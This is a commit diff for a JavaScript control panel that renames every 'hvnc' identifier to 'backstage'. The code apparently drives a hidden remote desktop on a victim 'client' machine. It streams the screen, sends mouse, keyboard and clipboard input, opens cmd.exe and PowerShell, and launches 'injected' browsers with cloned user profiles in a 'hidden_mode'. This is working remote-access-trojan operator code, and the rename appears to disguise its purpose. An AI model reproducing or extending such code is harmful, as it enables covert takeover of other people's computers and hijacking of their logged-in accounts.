rename all instances of "hvnc" to "backstage"
This commit is contained in:
+162
-162
@@ -16,7 +16,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
// for older bookmarked URLs.
|
||||
const virtualMode = ["virtual", "hidden"].includes(urlParams.get("mode"));
|
||||
|
||||
const allowed = await checkFeatureAccess("hvnc", clientId);
|
||||
const allowed = await checkFeatureAccess("backstage", clientId);
|
||||
if (!allowed) return;
|
||||
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
@@ -46,7 +46,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
location.host +
|
||||
"/api/clients/" +
|
||||
clientId +
|
||||
"/hvnc/ws";
|
||||
"/backstage/ws";
|
||||
}
|
||||
|
||||
function connectWs() {
|
||||
@@ -90,14 +90,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
const webrtcVideo = document.getElementById("webrtcVideo");
|
||||
const canvas = document.getElementById("frameCanvas");
|
||||
const canvasContainer = document.getElementById("canvasContainer");
|
||||
const contextMenu = document.getElementById("hvncContextMenu");
|
||||
const contextMenu = document.getElementById("backstageContextMenu");
|
||||
const ctx = canvas.getContext("2d");
|
||||
const agentFps = document.getElementById("agentFps");
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||
const uiaCtrl = document.getElementById("uiaCtrl");
|
||||
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
|
||||
const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
|
||||
const targetFpsSelect = document.getElementById("targetFpsSelect");
|
||||
let whepClient = null;
|
||||
let p2pClient = null;
|
||||
@@ -108,10 +108,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function syncInputEnableState() {
|
||||
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
|
||||
pushHvncResolution();
|
||||
if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
|
||||
pushbackstageResolution();
|
||||
}
|
||||
let activeClientId = clientId;
|
||||
let renderCount = 0;
|
||||
@@ -158,7 +158,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function applySharedSettings(settings) {
|
||||
if (!settings || typeof settings !== "object") return;
|
||||
savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
|
||||
setSelectValue(hvncResolutionSelect, settings.resolution);
|
||||
setSelectValue(backstageResolutionSelect, settings.resolution);
|
||||
setSelectValue(targetFpsSelect, settings.targetFps);
|
||||
setSelectValue(webrtcMode, settings.webrtcMode);
|
||||
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
|
||||
@@ -169,9 +169,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (typeof settings.preferH264 === "boolean") {
|
||||
prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
|
||||
}
|
||||
const cloneToggle = document.getElementById("hvncCloneToggle");
|
||||
const cloneLiteToggle = document.getElementById("hvncCloneLiteToggle");
|
||||
const killIfRunningToggle = document.getElementById("hvncKillIfRunningToggle");
|
||||
const cloneToggle = document.getElementById("backstageCloneToggle");
|
||||
const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
|
||||
const killIfRunningToggle = document.getElementById("backstageKillIfRunningToggle");
|
||||
if (cloneToggle && typeof settings.cloneProfile === "boolean") cloneToggle.checked = settings.cloneProfile;
|
||||
if (cloneLiteToggle && typeof settings.cloneLite === "boolean") cloneLiteToggle.checked = settings.cloneLite;
|
||||
if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") {
|
||||
@@ -183,7 +183,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function readSharedSettings() {
|
||||
return {
|
||||
display: Number(displaySelect?.value || 0),
|
||||
resolution: hvncResolutionSelect?.value || "1080",
|
||||
resolution: backstageResolutionSelect?.value || "1080",
|
||||
targetFps: Number(targetFpsSelect?.value || 120),
|
||||
quality: Number(qualitySlider?.value || 90),
|
||||
preferH264: !!prefersH264,
|
||||
@@ -192,14 +192,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
keyboard: !!kbdCtrl?.checked,
|
||||
clipboardSync: !!clipboardSyncCtrl?.checked,
|
||||
uia: !!uiaCtrl?.checked,
|
||||
cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false,
|
||||
cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true,
|
||||
killIfRunning: document.getElementById("hvncKillIfRunningToggle")?.checked === true,
|
||||
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
|
||||
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
|
||||
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
|
||||
};
|
||||
}
|
||||
|
||||
applySharedSettings(await loadSharedUiSettings("hvnc"));
|
||||
const sharedSettingsSaver = createSharedUiSettingsSaver("hvnc", readSharedSettings);
|
||||
applySharedSettings(await loadSharedUiSettings("backstage"));
|
||||
const sharedSettingsSaver = createSharedUiSettingsSaver("backstage", readSharedSettings);
|
||||
|
||||
if (codecH264) {
|
||||
codecH264.checked = prefersH264;
|
||||
@@ -382,12 +382,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
setStreamState("starting", "Reconnecting");
|
||||
const mode = getWebrtcMode();
|
||||
if (displaySelect && displaySelect.value !== undefined) {
|
||||
sendCmd("hvnc_select_display", {
|
||||
sendCmd("backstage_select_display", {
|
||||
display: parseInt(displaySelect.value, 10) || 0,
|
||||
});
|
||||
}
|
||||
pushTargetFps();
|
||||
sendCmd("hvnc_start", {
|
||||
sendCmd("backstage_start", {
|
||||
autoStartExplorer: false,
|
||||
webrtc: mode === "relayed",
|
||||
...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}),
|
||||
@@ -538,9 +538,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
}
|
||||
|
||||
function handleHVNCError(msg) {
|
||||
const errorText = msg.error || msg.message || "Unknown HVNC error";
|
||||
console.error("hvnc: server error:", errorText);
|
||||
function handlebackstageError(msg) {
|
||||
const errorText = msg.error || msg.message || "Unknown backstage error";
|
||||
console.error("backstage: server error:", errorText);
|
||||
if (!launchStatusEl) return;
|
||||
if (launchHideTimer) {
|
||||
clearTimeout(launchHideTimer);
|
||||
@@ -580,7 +580,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function requestBrowserCheck() {
|
||||
sendCmd("hvnc_browser_check", {});
|
||||
sendCmd("backstage_browser_check", {});
|
||||
}
|
||||
|
||||
const installedAppsLoading = document.getElementById("installedAppsLoading");
|
||||
@@ -604,7 +604,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (installedAppsGrid) installedAppsGrid.innerHTML = "";
|
||||
if (installedAppsCount) installedAppsCount.textContent = "";
|
||||
if (installedAppsEmpty) installedAppsEmpty.classList.add("hidden");
|
||||
sendCmd("hvnc_installed_apps", {});
|
||||
sendCmd("backstage_installed_apps", {});
|
||||
}
|
||||
|
||||
function applyInstalledAppsFilter() {
|
||||
@@ -742,7 +742,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
btn.appendChild(nameSpan);
|
||||
|
||||
btn.addEventListener("click", () => {
|
||||
sendCmd("hvnc_start_process", { path: '"' + app.exePath + '"' });
|
||||
sendCmd("backstage_start_process", { path: '"' + app.exePath + '"' });
|
||||
hideContextMenu();
|
||||
});
|
||||
installedAppsGrid.appendChild(btn);
|
||||
@@ -763,7 +763,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
return;
|
||||
}
|
||||
const msg = { type, ...payload };
|
||||
console.debug("hvnc: send", msg);
|
||||
console.debug("backstage: send", msg);
|
||||
ws.send(encodeMsgpack(msg));
|
||||
}
|
||||
|
||||
@@ -774,7 +774,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function onWebrtcState(label, state) {
|
||||
console.debug(`hvnc webrtc[${label}]: state`, state);
|
||||
console.debug(`backstage webrtc[${label}]: state`, state);
|
||||
if (state === "connected") {
|
||||
setStreamState("streaming", `Streaming (${label})`);
|
||||
} else if (state === "failed" || state === "disconnected") {
|
||||
@@ -829,7 +829,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
setWebrtcViewActive(true);
|
||||
startWebrtcFrameTicker();
|
||||
} catch (err) {
|
||||
console.warn("hvnc webrtc: WHEP start failed, falling back to canvas", err);
|
||||
console.warn("backstage webrtc: WHEP start failed, falling back to canvas", err);
|
||||
setWebrtcViewActive(false);
|
||||
whepClient = null;
|
||||
}
|
||||
@@ -852,7 +852,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
setWebrtcViewActive(true);
|
||||
startWebrtcFrameTicker();
|
||||
} catch (err) {
|
||||
console.warn("hvnc webrtc: P2P start failed, falling back to canvas", err);
|
||||
console.warn("backstage webrtc: P2P start failed, falling back to canvas", err);
|
||||
setWebrtcViewActive(false);
|
||||
const client = p2pClient;
|
||||
p2pClient = null;
|
||||
@@ -917,9 +917,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
function pushQuality(val) {
|
||||
const q = Number(val) || 90;
|
||||
const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
|
||||
console.debug("hvnc: pushQuality val=", val, "q=", q, "codec=", codec);
|
||||
console.debug("backstage: pushQuality val=", val, "q=", q, "codec=", codec);
|
||||
setCodecModeLabel(codec, "requested");
|
||||
sendCmd("hvnc_set_quality", { quality: q, codec });
|
||||
sendCmd("backstage_set_quality", { quality: q, codec });
|
||||
}
|
||||
|
||||
function selectedTargetFps() {
|
||||
@@ -928,7 +928,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
|
||||
function pushTargetFps() {
|
||||
sendCmd("hvnc_set_fps", { fps: selectedTargetFps() });
|
||||
sendCmd("backstage_set_fps", { fps: selectedTargetFps() });
|
||||
}
|
||||
|
||||
if (targetFpsSelect) {
|
||||
@@ -942,7 +942,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (mode === "relayed" || mode === "p2p") {
|
||||
const q = Number(qualitySlider?.value) || 90;
|
||||
setCodecModeLabel("h264", "webrtc");
|
||||
sendCmd("hvnc_set_quality", { quality: q, codec: "h264", source: "webrtc" });
|
||||
sendCmd("backstage_set_quality", { quality: q, codec: "h264", source: "webrtc" });
|
||||
return;
|
||||
}
|
||||
if (qualitySlider) {
|
||||
@@ -980,11 +980,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
prefersH264 = false;
|
||||
destroyVideoDecoder();
|
||||
if (codecH264) codecH264.checked = false;
|
||||
console.warn("hvnc: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
|
||||
console.warn("backstage: falling back to jpeg codec", reason || "", "errors:", h264ErrorCount);
|
||||
const q = Number(qualitySlider?.value) || 90;
|
||||
setCodecModeLabel("jpeg", "fallback");
|
||||
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||
sendCmd("hvnc_set_quality", { quality: q, codec: "jpeg" });
|
||||
sendCmd("backstage_set_quality", { quality: q, codec: "jpeg" });
|
||||
}
|
||||
if (h264ErrorCount <= 3 && typeof VideoDecoder === "function") {
|
||||
if (h264RetryTimer) clearTimeout(h264RetryTimer);
|
||||
@@ -1046,21 +1046,21 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
},
|
||||
error: (err) => {
|
||||
console.warn("hvnc: h264 decoder error", err);
|
||||
console.warn("backstage: h264 decoder error", err);
|
||||
},
|
||||
});
|
||||
videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.warn("hvnc: h264 decoder unavailable", err);
|
||||
console.warn("backstage: h264 decoder unavailable", err);
|
||||
fallbackToJpegCodec(err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
displaySelect.addEventListener("change", function () {
|
||||
console.debug("hvnc: select display", displaySelect.value);
|
||||
sendCmd("hvnc_select_display", {
|
||||
console.debug("backstage: select display", displaySelect.value);
|
||||
sendCmd("backstage_select_display", {
|
||||
display: parseInt(displaySelect.value, 10),
|
||||
});
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
@@ -1076,7 +1076,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
startBtn.addEventListener("click", function () {
|
||||
const mode = getWebrtcMode();
|
||||
if (displaySelect && displaySelect.value !== undefined) {
|
||||
sendCmd("hvnc_select_display", {
|
||||
sendCmd("backstage_select_display", {
|
||||
display: parseInt(displaySelect.value, 10) || 0,
|
||||
});
|
||||
}
|
||||
@@ -1085,7 +1085,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
desiredStreaming = true;
|
||||
lastFrameAt = 0;
|
||||
setStreamState("starting", "Starting stream");
|
||||
sendCmd("hvnc_start", {
|
||||
sendCmd("backstage_start", {
|
||||
autoStartExplorer: false,
|
||||
webrtc: mode === "relayed",
|
||||
...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}),
|
||||
@@ -1096,12 +1096,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
stopBtn.addEventListener("click", function () {
|
||||
desiredStreaming = false;
|
||||
setStreamState("stopping", "Stopping stream");
|
||||
sendCmd("hvnc_stop", {});
|
||||
sendCmd("backstage_stop", {});
|
||||
stopAllWebrtc();
|
||||
});
|
||||
if (killAllBtn) {
|
||||
killAllBtn.addEventListener("click", function () {
|
||||
sendCmd("hvnc_kill_all", {});
|
||||
sendCmd("backstage_kill_all", {});
|
||||
});
|
||||
}
|
||||
fullscreenBtn.addEventListener("click", function () {
|
||||
@@ -1114,29 +1114,29 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
});
|
||||
mouseCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
kbdCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
if (uiaCtrl) {
|
||||
uiaCtrl.addEventListener("change", function () {
|
||||
sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
|
||||
sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
}
|
||||
|
||||
function pushHvncResolution() {
|
||||
if (hvncResolutionSelect) {
|
||||
const maxHeight = parseInt(hvncResolutionSelect.value, 10);
|
||||
sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
|
||||
function pushbackstageResolution() {
|
||||
if (backstageResolutionSelect) {
|
||||
const maxHeight = parseInt(backstageResolutionSelect.value, 10);
|
||||
sendCmd("backstage_set_resolution", { maxHeight: maxHeight });
|
||||
}
|
||||
}
|
||||
if (hvncResolutionSelect) {
|
||||
hvncResolutionSelect.addEventListener("change", function () {
|
||||
pushHvncResolution();
|
||||
if (backstageResolutionSelect) {
|
||||
backstageResolutionSelect.addEventListener("change", function () {
|
||||
pushbackstageResolution();
|
||||
sharedSettingsSaver.scheduleSave();
|
||||
});
|
||||
}
|
||||
@@ -1234,7 +1234,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
hasCanvasBase = false;
|
||||
}
|
||||
if (blockCount > 0 && !hasCanvasBase) {
|
||||
sendCmd("hvnc_request_keyframe", { reason: "viewer_missing_base" });
|
||||
sendCmd("backstage_request_keyframe", { reason: "viewer_missing_base" });
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1285,7 +1285,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
videoDecoder.decode(chunk);
|
||||
updateFpsDisplay(fps);
|
||||
} catch (err) {
|
||||
console.warn("hvnc: h264 decode failed", err);
|
||||
console.warn("backstage: h264 decode failed", err);
|
||||
fallbackToJpegCodec(err);
|
||||
}
|
||||
}
|
||||
@@ -1329,36 +1329,36 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (p2pClient) p2pClient.onRemoteCandidate(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_clone_progress") {
|
||||
if (msg && msg.type === "backstage_clone_progress") {
|
||||
handleCloneProgress(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_lookup_result") {
|
||||
if (msg && msg.type === "backstage_lookup_result") {
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_check_result") {
|
||||
if (msg && msg.type === "backstage_browser_check_result") {
|
||||
handleBrowserCheckResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_installed_apps_result") {
|
||||
if (msg && msg.type === "backstage_installed_apps_result") {
|
||||
handleInstalledAppsResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
if (msg && msg.type === "backstage_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_launch_status") {
|
||||
if (msg && msg.type === "backstage_browser_launch_status") {
|
||||
handleBrowserLaunchStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_window_list_result") {
|
||||
if (msg && msg.type === "backstage_window_list_result") {
|
||||
handleWindowListResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
handleHVNCError(msg);
|
||||
if (msg && msg.type === "backstage_error") {
|
||||
handlebackstageError(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
@@ -1388,32 +1388,32 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (p2pClient) p2pClient.onRemoteCandidate(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_clone_progress") {
|
||||
if (msg && msg.type === "backstage_clone_progress") {
|
||||
handleCloneProgress(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_lookup_result") {
|
||||
if (msg && msg.type === "backstage_lookup_result") {
|
||||
handleLookupResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_check_result") {
|
||||
if (msg && msg.type === "backstage_browser_check_result") {
|
||||
handleBrowserCheckResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_installed_apps_result") {
|
||||
if (msg && msg.type === "backstage_installed_apps_result") {
|
||||
handleInstalledAppsResult(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_dxgi_status") {
|
||||
if (msg && msg.type === "backstage_dxgi_status") {
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_launch_status") {
|
||||
if (msg && msg.type === "backstage_browser_launch_status") {
|
||||
handleBrowserLaunchStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
if (msg && msg.type === "backstage_error") {
|
||||
console.error("backstage: server error:", msg.error || msg.message);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "clipboard_content") {
|
||||
@@ -1433,10 +1433,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
setStreamState("starting", "Resuming stream");
|
||||
const mode = getWebrtcMode();
|
||||
if (displaySelect && displaySelect.value !== undefined) {
|
||||
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
||||
sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
||||
}
|
||||
pushTargetFps();
|
||||
sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) });
|
||||
sendCmd("backstage_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) });
|
||||
if (mode === "p2p") startP2P();
|
||||
syncInputEnableState();
|
||||
} else {
|
||||
@@ -1444,7 +1444,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
fetchClientInfo().then(() => {
|
||||
if (displaySelect && displaySelect.value) {
|
||||
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) });
|
||||
sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) });
|
||||
}
|
||||
});
|
||||
requestBrowserCheck();
|
||||
@@ -1513,7 +1513,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
}
|
||||
lastMoveSentAt = now;
|
||||
if (ws.bufferedAmount <= inputBackpressureBytes) {
|
||||
sendCmd("hvnc_mouse_move", pendingMove);
|
||||
sendCmd("backstage_mouse_move", pendingMove);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1533,10 +1533,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (pt) {
|
||||
pendingMove = pt;
|
||||
if (ws.bufferedAmount <= inputBackpressureBytes) {
|
||||
sendCmd("hvnc_mouse_move", pt);
|
||||
sendCmd("backstage_mouse_move", pt);
|
||||
}
|
||||
}
|
||||
sendCmd("hvnc_mouse_down", { button: e.button, ...(pt || {}) });
|
||||
sendCmd("backstage_mouse_down", { button: e.button, ...(pt || {}) });
|
||||
e.preventDefault();
|
||||
});
|
||||
canvas.addEventListener("mouseup", function (e) {
|
||||
@@ -1545,10 +1545,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
if (pt) {
|
||||
pendingMove = pt;
|
||||
if (ws.bufferedAmount <= inputBackpressureBytes) {
|
||||
sendCmd("hvnc_mouse_move", pt);
|
||||
sendCmd("backstage_mouse_move", pt);
|
||||
}
|
||||
}
|
||||
sendCmd("hvnc_mouse_up", { button: e.button, ...(pt || {}) });
|
||||
sendCmd("backstage_mouse_up", { button: e.button, ...(pt || {}) });
|
||||
e.preventDefault();
|
||||
});
|
||||
canvas.addEventListener("contextmenu", function (e) {
|
||||
@@ -1560,7 +1560,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
const pt = getCanvasPoint(e);
|
||||
if (!pt) return;
|
||||
const delta = Math.max(-120, Math.min(120, Math.round(-e.deltaY)));
|
||||
sendCmd("hvnc_mouse_wheel", { delta, x: pt.x, y: pt.y });
|
||||
sendCmd("backstage_mouse_wheel", { delta, x: pt.x, y: pt.y });
|
||||
e.preventDefault();
|
||||
}, { passive: false });
|
||||
|
||||
@@ -1570,8 +1570,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
});
|
||||
const kbdCapture = createKeyboardCapture({
|
||||
container: canvas,
|
||||
sendKeyDown: (e) => sendCmd("hvnc_key_down", { key: e.key, code: e.code }),
|
||||
sendKeyUp: (e) => sendCmd("hvnc_key_up", { key: e.key, code: e.code }),
|
||||
sendKeyDown: (e) => sendCmd("backstage_key_down", { key: e.key, code: e.code }),
|
||||
sendKeyUp: (e) => sendCmd("backstage_key_up", { key: e.key, code: e.code }),
|
||||
});
|
||||
if (kbdCtrl) {
|
||||
kbdCtrl.addEventListener("change", function () {
|
||||
@@ -1591,7 +1591,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
sharedSettingsSaver.saveNow();
|
||||
if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
|
||||
desiredStreaming = false;
|
||||
sendCmd("hvnc_stop", {});
|
||||
sendCmd("backstage_stop", {});
|
||||
}
|
||||
destroyVideoDecoder();
|
||||
stopAllWebrtc();
|
||||
@@ -1631,7 +1631,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
});
|
||||
}
|
||||
|
||||
["hvncCloneToggle", "hvncCloneLiteToggle", "hvncKillIfRunningToggle"].forEach((id) => {
|
||||
["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle"].forEach((id) => {
|
||||
const el = document.getElementById(id);
|
||||
if (el) {
|
||||
el.addEventListener("change", function () {
|
||||
@@ -1645,59 +1645,59 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
||||
item.addEventListener("click", (e) => {
|
||||
const action = e.currentTarget?.dataset?.action;
|
||||
if (action === "start-cmd") {
|
||||
sendCmd("hvnc_start_process", { path: "conhost cmd.exe" });
|
||||
sendCmd("backstage_start_process", { path: "conhost cmd.exe" });
|
||||
} else if (action === "start-powershell") {
|
||||
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
|
||||
sendCmd("backstage_start_process", { path: "conhost powershell.exe" });
|
||||
} else if (action === "start-chrome") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-brave") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-edge") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-firefox") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
|
||||
const clone = document.getElementById("backstageCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning });
|
||||
} else if (action === "start-opera") {
|
||||
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
|
||||
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
|
||||
const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
|
||||
sendCmd("hvnc_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning });
|
||||
